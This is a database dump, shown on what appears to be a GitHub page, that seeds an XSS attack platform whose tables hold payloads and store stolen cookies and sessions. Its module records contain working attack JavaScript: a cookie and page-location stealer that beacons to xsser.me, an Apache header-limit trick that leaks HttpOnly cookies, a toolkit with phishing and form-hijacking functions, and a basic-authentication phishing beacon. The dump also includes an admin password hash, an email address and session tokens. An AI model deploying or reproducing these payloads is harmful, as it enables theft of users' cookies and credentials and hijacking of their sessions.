-
Notifications
You must be signed in to change notification settings - Fork 196
/
xssplatform.sql
234 lines (215 loc) · 17 KB
/
xssplatform.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
/*
Navicat Premium Data Transfer
Source Server : 127.0.0.1_3309
Source Server Type : MySQL
Source Server Version : 50642
Source Host : 127.0.0.1:3309
Source Schema : xssplatform
Target Server Type : MySQL
Target Server Version : 50642
File Encoding : 65001
Date: 08/12/2018 12:31:05
*/
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for oc_config
-- ----------------------------
DROP TABLE IF EXISTS `oc_config`;
CREATE TABLE `oc_config` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) NOT NULL DEFAULT '0',
`typeId` int(11) DEFAULT '0',
`key` varchar(255) DEFAULT NULL,
`value` text,
`description` text,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of oc_config
-- ----------------------------
BEGIN;
INSERT INTO `oc_config` VALUES (1, 0, 1, 'location', 'document.location', NULL);
INSERT INTO `oc_config` VALUES (2, 0, 1, 'toplocation', 'top.document.location', NULL);
INSERT INTO `oc_config` VALUES (3, 0, 1, 'cookie', 'document.cookie', NULL);
INSERT INTO `oc_config` VALUES (4, 0, 1, 'opener', 'window.opener', NULL);
COMMIT;
-- ----------------------------
-- Table structure for oc_invite_reg
-- ----------------------------
DROP TABLE IF EXISTS `oc_invite_reg`;
CREATE TABLE `oc_invite_reg` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) DEFAULT '0',
`inviteKey` varchar(255) DEFAULT NULL,
`isUsed` tinyint(1) DEFAULT '0',
`regUserId` int(11) DEFAULT '0',
`regTime` int(11) DEFAULT '0',
`addTime` int(11) DEFAULT '0',
`isWooyun` tinyint(1) DEFAULT '0',
PRIMARY KEY (`id`),
KEY `userId` (`userId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
-- ----------------------------
-- Table structure for oc_keepsession
-- ----------------------------
DROP TABLE IF EXISTS `oc_keepsession`;
CREATE TABLE `oc_keepsession` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) DEFAULT '0',
`projectId` int(11) DEFAULT '0',
`url` varchar(255) DEFAULT NULL,
`cookie` text,
`hash` varchar(255) DEFAULT NULL,
`addTime` int(11) DEFAULT '0',
`updateTime` int(11) DEFAULT '0',
PRIMARY KEY (`id`),
KEY `userId` (`userId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
-- ----------------------------
-- Table structure for oc_module
-- ----------------------------
DROP TABLE IF EXISTS `oc_module`;
CREATE TABLE `oc_module` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) DEFAULT '0',
`title` varchar(255) DEFAULT NULL,
`keys` text,
`setkeys` text,
`code` text,
`level` tinyint(1) DEFAULT '0',
`isOpen` tinyint(1) DEFAULT '0',
`description` text,
`isAudit` tinyint(1) DEFAULT '0',
`managerId` int(11) DEFAULT '0',
`managerName` varchar(255) DEFAULT NULL,
`addTime` int(11) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=16 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of oc_module
-- ----------------------------
BEGIN;
INSERT INTO `oc_module` VALUES (1, 1, '默认模块', '[\"location\",\"toplocation\",\"cookie\",\"opener\"]', '[\"keepsession\"]', '(function(){(new Image()).src='http://xsser.me/index.php?do=api&id={projectId}&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();\r\nif('{set.keepsession}'==1){keep=new Image();keep.src='http://xsser.me/index.php?do=keepsession&id={projectId}&url='+escape(document.location)+'&cookie='+escape(document.cookie)};\r\n', 0, 1, '通过xss完成基本的攻击,包括获取后台地址,认证cookie', 1, 1, 'blue', 1341846542);
INSERT INTO `oc_module` VALUES (4, 1, 'apache httponly bypass', '[\"location\",\"toplocation\",\"cookie\",\"opener\"]', NULL, 'function setCookies () {\r\n /*apache server limit 8192*/\r\n var str = "";\r\n for (var i=0; i< 819; i++) {\r\n str += "x";\r\n }\r\n for (i = 0; i < 10; i++) {\r\n var cookie = "ray"+i+"="+str+";path=/";\r\n document.cookie = cookie;\r\n }\r\n}\r\n\r\nfunction parseCookies () {\r\n if (xhr.readyState === 4 && xhr.status === 400) {\r\n var content = xhr.responseText.replace(/\\r|\\n/g,'').match(/<pre>(.+)<\\/pre>/);\r\n content = content[1].replace("Cookie: ", "");\r\n cookies = content.replace(/ray\\d=x+;?/g, '')\r\n try { \r\n var myopener=''; myopener = window.parent.openner.location;\r\n var myparent = ''; myparent = window.parent.location;\r\n } catch(err){\r\n myopener='0';myparent ='0';\r\n }\r\n window.location='http://xsser.me/index.php?do=api&id={projectId}&location='+escape(document.location)+'&toplocation='+escape(myparent)+'&cookie='+escape(cookies)+'&opener='+escape(myopener);\r\n }\r\n}\r\n\r\nsetCookies();\r\nvar xhr = window.XMLHttpRequest? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();\r\nxhr.onreadystatechange = parseCookies;\r\nxhr.open("POST", "/?"+Math.random(), true);\r\nxhr.send(null);', 0, 1, '利用apache server head limit 8192字节限制, 从400状态页爆出httponly保护的cookie.', 0, NULL, NULL, 1342155756);
INSERT INTO `oc_module` VALUES (11, 6, 'xss.js', '[]', NULL, ';;var xss = function(){\r\n var x = {\r\n 'name':'xss.js',\r\n 'version':'0.1',\r\n 'author':'jackmasa'\r\n };\r\n \r\n x.x=function(id){return document.getElementById(id)};\r\n \r\n //容错取值\r\n x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};\r\n \r\n //浏览器 \r\n x.i={\r\n i:!!self.ActiveXObject,\r\n c:!!self.chrome,\r\n f:self.mozPaintCount>-1,\r\n o:!!self.opera,\r\n s:!self.chrome&&!!self.WebKitPoint\r\n };\r\n \r\n //UA\r\n x.ua = navigator.userAgent;\r\n \r\n //判断是否为苹果手持设备\r\n x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;\r\n \r\n //随机数\r\n x.rdm=function(){return~~(Math.random()*100000)};\r\n\r\n //url编码(UTF8)\r\n x.ec=encodeURIComponent;\r\n\r\n x.html=document.getElementsByTagName('html')[0];\r\n \r\n /*\r\n * 销毁一个元素\r\n */\r\n x.kill=function(e){\r\n e.parentElement.removeChild(e);\r\n };\r\n\r\n /*\r\n *绑定事件\r\n */\r\n x.bind=function(e,name,fn){\r\n e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);\r\n };\r\n \r\n /*\r\n * dom准备完毕时执行函数\r\n */\r\n x.ready=function(fn){\r\n if(!x.i.i){\r\n x.bind(document,'DOMContentLoaded',fn);\r\n }else{\r\n var s = setInterval(function(){\r\n try{\r\n document.body.doScroll('left');\r\n clearInterval(s);\r\n fn();\r\n }catch(e){}\r\n },4);\r\n }\r\n }\r\n\r\n /*\r\n * 同源检测\r\n */\r\n x.o=function(url){\r\n var link = x.dom('<a href="'+encodeURI(url)+'">',2);\r\n return link.protocol+link.hostname+':'+link.port==location.protocol+location.hostname+':'+link.port;\r\n };\r\n \r\n /*\r\n * html to dom\r\n */\r\n x.dom=function(html,gcsec){\r\n var tmp = document.createElement('span');\r\n tmp.innerHTML=html;\r\n var e = tmp.children[0];\r\n e.style.display='none';\r\n x.html.appendChild(e);\r\n gcsec>>0>0&&setTimeout(function(){\r\n x.kill(e);\r\n },gcsec*1000);\r\n return e;\r\n };\r\n\r\n /*\r\n * ajax\r\n */\r\n x.ajax = function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n var XHR = (!x.o(url)&&window.XDomainRequest)||\r\n window.XMLHttpRequest||\r\n (function(){return new ActiveXObject('MSXML2.XMLHTTP')});\r\n var xhr = new XHR();\r\n xhr.open(params?'post':'get',url);\r\n try{xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}catch(e){}\r\n callback&&(xhr.onreadystatechange = function() {\r\n (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);\r\n });\r\n xhr.send(params);\r\n };\r\n\r\n /*\r\n * no ajax\r\n */\r\n x.najax=function(url,params){\r\n if(params){\r\n var form = x.dom('<form method=post accept-charset=utf-8>');\r\n form.action=url;\r\n for(var name in params){\r\n var input = document.createElement('input');\r\n input.name=name;\r\n input.value=params[name];\r\n form.appendChild(input);\r\n }\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>',6);\r\n form.target=iframe.name;\r\n form.submit();\r\n }else{\r\n new Image().src=url+'&'+x.rdm();\r\n }\r\n };\r\n\r\n /*\r\n * 钓鱼\r\n */\r\n x.phish=function(url){\r\n x.ajax(url,function(){\r\n document.open();\r\n document.write(this.responseText);\r\n document.close();\r\n history.replaceState&x.o(url)&&history.replaceState('','',url);\r\n })\r\n };\r\n\r\n /*\r\n * 表单劫持\r\n */\r\n x.xform=function(form,action){\r\n form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');\r\n form.target=iframe.name;\r\n setTimeout(function(){\r\n x.bind(iframe,'load',function(){\r\n form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n })\r\n },30);\r\n };\r\n \r\n /*\r\n * 函数代理\r\n */\r\n x.proxy=function(fn,before,after){\r\n return function(){\r\n before&&before.apply(this,arguments);\r\n var result = fn.apply(this,arguments);\r\n after&&after.apply(this,arguments);\r\n return result;\r\n }\r\n };\r\n \r\n return x;\r\n}();', 0, 1, '一些常用XSS模块', 1, 1, 'blue', 1348659634);
INSERT INTO `oc_module` VALUES (6, 1, 'AJAX POST/GET操作', '[]', NULL, 'var pkav={\r\n ajax:function(){\r\n var xmlHttp;\r\n try{\r\n xmlHttp=new XMLHttpRequest();\r\n }catch (e){\r\n try{\r\n xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");\r\n }catch (e){\r\n try{\r\n xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");\r\n }\r\n catch (e){\r\n return false;\r\n }\r\n }\r\n }\r\n return xmlHttp;\r\n },\r\n req:function(url,data,method,callback){\r\n method=(method||"").toUpperCase();\r\n method=method||"GET";\r\n data=data||"";\r\n if(url){\r\n var a=this.ajax();\r\n a.open(method,url,true);\r\n if(method=="POST"){\r\n a.setRequestHeader("Content-type","application/x-www-form-urlencoded");\r\n }\r\n a.onreadystatechange=function(){\r\n if (a.readyState==4 && a.status==200)\r\n {\r\n if(callback){\r\n callback(a.responseText);\r\n }\r\n }\r\n };\r\n if((typeof data)=="object"){\r\n var arr=[];\r\n for(var i in data){\r\n arr.push(i+"="+encodeURIComponent(data[i]));\r\n }\r\n a.send(arr.join("&"));\r\n }else{\r\n a.send(data||null);\r\n }\r\n }\r\n },\r\n get:function(url,callback){\r\n this.req(url,"","GET",callback);\r\n },\r\n post:function(url,data,callback){\r\n this.req(url,data,"POST",callback);\r\n }\r\n};\r\nif(!window.__x){\r\npkav.post("接口地址","POST内容",function(rs){});\r\npkav.get("接口地址",function(rs){});\r\n window.__x=1;\r\n}', 0, 1, 'PKAV|请复制代码,配置-自定义代码', 2, 1, 'blue', 1343199825);
INSERT INTO `oc_module` VALUES (15, 7, '基础认证钓鱼', '[\"username\",\"password\"]', '[\"info\"]', 'x=new Image();\r\nx.src="http://xsser.me/authtest.php?id={projectId}&info={set.info}";', 0, 1, '针对基础认证进行钓鱼', 1, 1, 'blue', 1350054470);
COMMIT;
-- ----------------------------
-- Table structure for oc_project
-- ----------------------------
DROP TABLE IF EXISTS `oc_project`;
CREATE TABLE `oc_project` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) DEFAULT '0',
`title` varchar(255) DEFAULT NULL,
`description` text,
`modules` text,
`moduleSetKeys` text,
`code` text,
`urlKey` varchar(50) DEFAULT NULL,
`authCode` varchar(50) DEFAULT NULL,
`addTime` int(11) DEFAULT '0',
PRIMARY KEY (`id`),
KEY `userId` (`userId`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of oc_project
-- ----------------------------
BEGIN;
INSERT INTO `oc_project` VALUES (1, 2, 'default', '默认项目', '[1]', '[]', '', 'Q7yYOv', '54c6497e603eeec9810f7b9111bc240c', 1544243397);
COMMIT;
-- ----------------------------
-- Table structure for oc_project_content
-- ----------------------------
DROP TABLE IF EXISTS `oc_project_content`;
CREATE TABLE `oc_project_content` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`projectId` int(11) DEFAULT '0',
`content` text,
`serverContent` text,
`domain` varchar(255) DEFAULT NULL,
`cookieHash` varchar(255) DEFAULT NULL,
`num` int(11) DEFAULT '0',
`updateTime` int(11) DEFAULT '0',
`addTime` int(11) DEFAULT '0',
PRIMARY KEY (`id`),
KEY `projectId` (`projectId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
-- ----------------------------
-- Table structure for oc_remind
-- ----------------------------
DROP TABLE IF EXISTS `oc_remind`;
CREATE TABLE `oc_remind` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`typeId` tinyint(1) DEFAULT '0',
`userId` int(11) DEFAULT '0',
`content` text,
`readTime` int(11) DEFAULT '0',
`addTime` int(11) DEFAULT '0',
PRIMARY KEY (`id`),
KEY `userId` (`userId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
-- ----------------------------
-- Table structure for oc_session
-- ----------------------------
DROP TABLE IF EXISTS `oc_session`;
CREATE TABLE `oc_session` (
`userId` int(11) DEFAULT '0',
`ocKey` varchar(50) DEFAULT NULL,
`token` varchar(50) DEFAULT NULL,
`ip` char(20) DEFAULT NULL,
`data` varchar(255) DEFAULT NULL,
`expires` int(11) DEFAULT '0',
`updateTime` int(11) DEFAULT '0',
`addTime` int(11) DEFAULT '0',
KEY `userId` (`userId`),
KEY `ocKey` (`ocKey`),
KEY `expires` (`expires`),
KEY `updateTime` (`updateTime`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of oc_session
-- ----------------------------
BEGIN;
INSERT INTO `oc_session` VALUES (2, '97ba8108519344a5ba4d6ddef89b3115', 'aa6554d24c4954a9321eec304745dc6a', '127.0.0.1', 'a:6:{s:6:\"userId\";s:1:\"2\";s:10:\"adminLevel\";s:1:\"1\";s:8:\"userName\";s:5:\"admin\";s:9:\"avatarImg\";N;s:11:\"avatarImg_s\";N;s:9:\"signature\";N;}', 1544586439, 1544243407, 1544240839);
COMMIT;
-- ----------------------------
-- Table structure for oc_user
-- ----------------------------
DROP TABLE IF EXISTS `oc_user`;
CREATE TABLE `oc_user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`adminLevel` tinyint(1) DEFAULT '0',
`userName` varchar(50) DEFAULT NULL,
`userPwd` varchar(50) DEFAULT NULL,
`email` varchar(255) DEFAULT NULL,
`phone` varchar(255) DEFAULT NULL,
`dingding` varchar(255) DEFAULT NULL,
`message` varchar(255) DEFAULT NULL,
`validated` tinyint(1) DEFAULT '0',
`validateKey` varchar(255) DEFAULT NULL,
`sex` tinyint(1) DEFAULT '0',
`avatarImg` varchar(255) DEFAULT NULL,
`avatarImg_b` varchar(255) DEFAULT NULL,
`avatarImg_s` varchar(255) DEFAULT NULL,
`signature` varchar(255) DEFAULT NULL,
`creditPoint` int(11) DEFAULT '0',
`rankPoint` int(11) DEFAULT '0',
`description` varchar(255) DEFAULT NULL,
`status` tinyint(4) DEFAULT '0',
`contentNum` int(11) DEFAULT '0',
`attentNum` int(11) DEFAULT '0',
`hotNum` int(11) DEFAULT '0',
`loginTime` int(11) DEFAULT '0',
`addTime` int(11) DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
-- ----------------------------
-- Records of oc_user
-- ----------------------------
BEGIN;
INSERT INTO `oc_user` VALUES (2, 1, 'admin', '72728ceaae55e0ac4698d6add4edd67c', '78778443@qq.com', '','', NULL, 0, NULL, 0, NULL, NULL, NULL, NULL, 0, 0, NULL, 0, 0, 0, 0, 1544240839, 1544240824);
COMMIT;
SET FOREIGN_KEY_CHECKS = 1;